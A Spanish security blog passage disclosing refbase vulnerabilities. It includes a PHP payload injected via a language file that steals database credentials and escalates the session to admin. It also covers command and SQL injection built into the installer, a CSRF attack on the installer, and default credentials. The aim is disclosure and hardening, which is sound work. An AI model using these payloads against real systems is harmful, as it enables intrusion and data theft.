Usando las herramientas para desarrolladores (las de F12), seleccióné el desplegable donde se elige el idioma y, con la tecla F2, procedí a modificar su contenido, dejándolo con una única opción:

Imagen 10 - Extraño idioma
En cuanto hube terminado con el cambio, hice clic en otra etiqueta del código y vi el efecto causado
Imagen 11 - Cambio realizado


Sólo quedaba enviar el formulario con el botón "Submit" de su parte inferior. Con esta extraña lengua se consigue que la aplicación tome el fichero de idiomas, que recordemos que contiene código PHP, de un directorio seleccionado por el atacante. Dentro de él la aplicación buscará, dependiendo de si se usa codificación UTF8 o no, un fichero llamado "common_utf8.inc" o "common.inc" (ver Imagen 4).

Recordemos por otro lado, que el código a evaluar se generaba mediante una instrucción del tipo
$s = "\$loc=array(".ob_get_contents().");";
Y también que este código es ejecutado entre una instruccion "ob_start()" y una "ob_end_clean()" que impiden que se muestre cualquier salida producida mediante instrucciones "print"  y similares.

De modo que podríamos pensar en crear un fichero "common.inc" (o "common_utf8.inc") con el mismo contenido del que trae refbase para el idioma inglés y añadirle al final unas cuantas líneas:
 un contenido como el siguiente
);

ob_end_clean();
print "La cuenta de admin es: " .
    $adminLoginEmail . "<br>";

$_SESSION["loginEmail"] = $adminLoginEmail;

$___dbconfig = file_get_contents("initialize/db.inc.php");

preg_match_all(
    '/(hostName|databaseName|username|password)\s*=.*;/',
    $___dbconfig,
    $___match
);

print "<br>Datos de conexi&oacute;n:<br>";
foreach ($___match[0] as $___dato) {
    print "&nbsp;&nbsp;" .
        $___dato . "<br>";
}
print "<hr>";

ob_start(

Imagen 12 - Líneas añadidas
A poco que se lea, se ve lo que hace: muestra el identificador de la cuenta de administración de refbase, modifica la cuenta del usuario actual almacenada en las variables de sesión y muestra los datos de conexión a la base de datos. Para verlo en acción, basta con cargar una página de la aplicación:
Imagen 13 - Primera ronda

Los datos de cuenta de administración y conexión a la base de datos aparecen en la nueva cabecera que hemos añadido. Pero parece que no han cambiado las acciones que puede realizar el usuario. No hay problema: damos a volver a cargar la página y...
Imagen 14 - Segunda ronda


De todos modos, esto de obtener permisos de administración de refbase es, a estas alturas, poco relevante. Teniendo los datos de conexión a la base de datos, es posible... conectarse a ella. Y después, claro, consultar, modificar o borrar cualquier dato.

 Pero yo soy de los buenos, de modo que aquí paro.

Conclusiones

Creo que hablar a estas alturas de que hay que validar las entradas del usuario en los formularios y aceptar sólo aquellos valores que son razonables... es repetir demasiado las cosas. Pero, sin embargo, siempre hay quien no lo hace.

Por lo demás, hay otra moraleja: "Un fichero de configuración ejecutable es más peligroso que un sable".

Que una definición de idioma, una plantilla o cualquier otra cosa que sólo debería afectar a la  apariencia contenga código PHP es cosa para aficionados al riesgo: "¿Que no tienes la versión en español de refbase? Pues de aquí te puedes descargar los ficheros de idioma. Y van con un regalito".

Pronto, espero, más.







jueves, 11 de mayo de 2017

Vulnerabilidades en el instalador de refbase... cuando funciona

Arreglando el instalador de refbase

Entre los últimos cambios introducidos en refbase se cuenta la compatibilidad con PHP 7. Ciertamente, es bueno saber que los desarrolladores de un producto se preocupan de que éste funcione con las versiones más recientes de su entorno de ejecución. Pero... hay un problema con el instalador.

Para inicializar la base de datos y otros elementos de refbase se utiliza el script "install.php". Y resulta que "install.php" utiliza la extensión "MySQL original". La "de siempre", con funciones o métodos como mysql_connect, mysql_query, etc.), que resulta estar declarada obsoleta a partir de PHP 5.5.0 y eliminada en PHP 7.0.0. De modo que, aunque la aplicación funcione con PHP 7, el instalador no.

Y, claro, no puedes utilizar una aplicación si antes no la instalas.

Por fortuna para quienes quieran actualizar refbase desde una versión anterior, la estructura de la base de datos no cambia. Basta con copiar los nuevos scripts, quizá tocar algún fichero de configuración y... todo listo y funcionando. Supongo que esto es lo que habrán hecho los desarrolladores a la hora de poner en marcha y probar las nuevas versiones. De ser así, "install.php" no les habría hecho falta y, por tanto, nadie se fijó en él y no fue objeto de pruebas.

Carecer de unos procedimientos de gestión que permitan determinar todas las dependencias entre módulos del sistema y de éstos con el entorno de ejecución es, en sí mismo, una segunda "vulnerabilidad administrativa" a añadir a la de ayer. Cosa que no pruebas, error que no pillas. Pero dejémonos de burocracia y vayamos al lado divertido de la tecnología.

Para empezar, a mí no me funcionó el instalador ni siquiera usando PHP 5.6.30. De modo que, por ser constructivos, ahí van los cambios que tuve que hacer en "install.php" para arreglarlo:

1.- Cambiar todas las veces que aparece  "mysql_" por "mysqli_"

2.- Cambiar todas las veces que aparece "mysqli_errno()" por "mysqli_errno($connection)"

3.- Cambiar "mysqli_select_db($adminDatabaseName, $connection)" por "mysqli_select_db($connection, $adminDatabaseName)"

4.- Cambiar el orden de los dos parámetros en todas las llamadas a "mysqli_query". Para ello se puede utilzar un editor de texto avanzado, como Notepad++ o Kate, y realizar una sustitución global de la expresión regular "mysqli_query\s*\(([^,]+),([^\)]+)\)" por "mysqli_query\(\2,\1\)". Y, si no lo ves claro, siempre puedes hacerlo "a mano".

Para los siguientes ejemplos se descargaron las últimas versiones "trunk" y "bleeding edge" del repositorio SVN:

Repositorio SVN





Instalar refbase

La verdad es que instalar refbase, una vez tienes el entorno apropiado y el instalador arreglado, debería ser bastante fácil. Vayamos a ello:
El instalador. Si no ves en él nada raro...


Es buena cosa que se recomiende modificar los parámetros de conexión a la base de datos indicados en el fichero "initialize/db.inc.php". En él aparecen unas variables cuyos nombres son bastante explicativos, aparte de que los comentarios del fichero lo dejan todo muy claro si sabes inglés. Estas variables y sus valores por defecto son:

$hostName = "localhost";
$databaseName = "literature";
$username = "litwww";
$password = "%l1t3ratur3?";

No hace falta que la base de datos ni la cuenta de acceso existan. De eso se encargará el instalador. Lo malo es que, si MySQL (o MariaDB) está instalado en el mismo equipo que el servidor web, se puede realizar la instalación sin cambiar estos parámetros de configuración. Y, ya se sabe, los valores por defecto suelen hacer que todo funcione, pero no siempre de forma optimizada o segura.

No es bueno usar credenciales por defecto y las aplicaciones no deberían tenerlas. Mejor preguntarlas a quien realiza la instalación.

Es hora de rellenar el formulario. Para empezar, unas credenciales para acceder al servidor de bases de datos. Debe tratarse de una cuenta con permisos de administración pues con ella se creará la base de datos y la cuenta de usuario, se asignarán permisos, etc.

Después va la ruta del programa de línea de comandos que permite interactuar con la base de datos, típicamente "mysql.exe" o "mysql". Y le sigue la ruta de un fichero con los comandos SQL que crean las tablas y les añaden sus primeras filas. Paro aquí y no sigo porque el resto carece de relevancia para las pruebas que estoy realizando. Y te dejo tiempo para que vuelvas a leer este párrafo.

Sí. Has leído y entendido bien. No es que haya un problema de vulnerabilidad de inyección de comandos de sistema operativo ni otra de SQL injection. Es que ambas cosas forman parte del propio diseño del procedimiento de instalación. Y, sí, ésta es una de las cosas que les comentaba hace año y pico a los desarrolladores.

En todo caso, debe señalarse que hay un factor que mitiga el riesgo. Por la forma de funcionar del instalador, si las credenciales de acceso a la base de datos proporcionadas no son válidas, o si la cuenta no puede seleccionar la base de datos "mysql", el proceso de instalación se detiene y no se ejecutan comandos ni del sistema operativo ni SQL. Además, se comprueba que las rutas se refieren a ficheros y que se tienen los permisos apropiados.

Pero una cosa es conocer unas credenciales válidas de administración de MySQL y otra es poder ejecutar comandos en el sistema operativo con la cuenta del servidor web. Como esta vez estaba usando XAMPP en "modo usuario", sin instalar servicios, me acordé de nuestra amiga la calculadora:
El formulario relleno y el efecto que causa al enviarlo


Además, el formulario tiene una vulnerabilidad de Cross Site Request Forgery. Esto permite explotar las vulnerabilidades presentes incluso si no se tiene acceso a la instancia de refbase a atacar. Bastaría con que alguien con malas intenciones (y sabiendo credenciales de adminsitración de MySQL) tuviera una página en su servidor como "http://malicioso.example.net/1/index.html" con un código como el siguiente:
Código fuente de la página maliciosa


Como puede observarse, es un formulario de instalación ya relleno que es enviado de forma automática al servidor de la instancia de refbase y cuyos valores fuerzan la ejecución de comandos en el servidor web. Si ahora consiguiera que alguien que sí tenga acceso a la aplicación visitara la página maliciosa...

A lo del fichero SQL no le dedico mayor espacio. A todo lo dicho habría que añadir que quien tenga ya las credenciales de adminsitración de MySQL posiblemente encuentre, o haya encontrado, formas de hacer lo que quiera y no necesite andar jugando con el instalador de refbase. De todos modos, casos habrá en que éste sea de utilidad.

Instalando ya refbase. Esta vez, de verdad

Bueno, ha llegado la hora de instalar refbase. Relleno los campos bien y envío y...
Instalado




Al acabar la instalación, de nuevo, la aplicación da buenos consejos. Me dice que cambie la cuenta de administración de refbase (por defecto "user@refbase.net" con contraseña "start") y que, ya que no me va a hacer más falta, elimine el script "install.php". No sea que alguien lo utilice para volver a instalar la aplicación y hacer tabla rasa con todos los datos que pudiera contener.

Algún "install.php" me he encontrado usando Google. ¿Y cuántos habrá en Internet no indexados, pero que están "al ladito" de instalaciones de refbase que sí aparecen en el buscador? Iba a poner un ejemplo llamativo, pero mejor me paro un poquito...

De este tema hablé también con los autores de refbase. Y me alegra ver que en la nueva versión, la página principal de la aplicación´se niega a prestarnos servicio en tanto exista el fichero "install.php" (y también "update.php", utilizado para actualizaciones desde versiones muy antiguas).
Si no eliminas los scripts de instalación, no te hago caso

Eso sí, si te sabes algunas URLs, otras funcionalidades no cuentan con esta protección. Como se dice por aquí, nos van dando "una de cal y otra de arena". Una cosa buena y otra mala. Además, algunas de estas funcionalidades en mi caso muestran muchos mensajes de error:
Errores a gogo

De eso también les hablaba en el informe que envié en su día a los desarrolladores de refbase. Que si era conveniente deshabilitar los mensajes de error, que si éstos podrían proporcionar información a un potencial atacante... La respuesta fue que esto no era problema de refbase. Que bastaba con configurar el servidor PHP, con "display_errors=Off" en el "php.ini", para que no mostrara los mensajes y listo.

¡Ay! ¡Costumbre peligrosa, la de dejar que sean otros los que corrijan algo que uno podría haber dejado bien! ¡Y mira que les habría bastado con poner un "error_reporting(0);" al inicio de unos cuantos ficheros! Pues ni por esas.

Bueno. Elimino "install.php" y "update.php", configuro mi servidor para que no muestre errores y lo reinicio. Todo mejor.
Esto ya parece un programa

Una pregunta que me hago

Digo yo: El instalador te pide que le indiques mediante el formulario las rutas del fichero con sentencias SQL a instalar y del ejecutable de la interfaz de línea de comandos de MySQL. Y tienes que tocar ficheros PHP para indicar los parámetros de conexión y el nombre de la cuenta de administración.

En todo caso... ¿no sería preferible que fuera al revés? Que lo que estuviera configurado mediante ficheros PHP fueran las rutas del ejecutable y el fichero SQL. Que el formulario solicitara los parámetros de conexión y la cuenta de administración.

Supongo que pensarían: "A ver dónde va a poner el instalador las credenciales de conexión y otras cosas por estilo. Porque si es en un fichero de texto o similar alguien podría descargarlo y ver su contenido. Y usar los valores para generar código PHP de forma automática... da un poco de mal rollo. No sea que alguien averigüe cómo inyectar código PHP en alguno de los parámetros y nos la líe parda".

Pero no es éste un tema del que deberían preocuparse demasiado.

Refbase ya tiene otras vulnerabilidades de ejecución de código PHP arbitrario.

La próxima vez os lo cuento.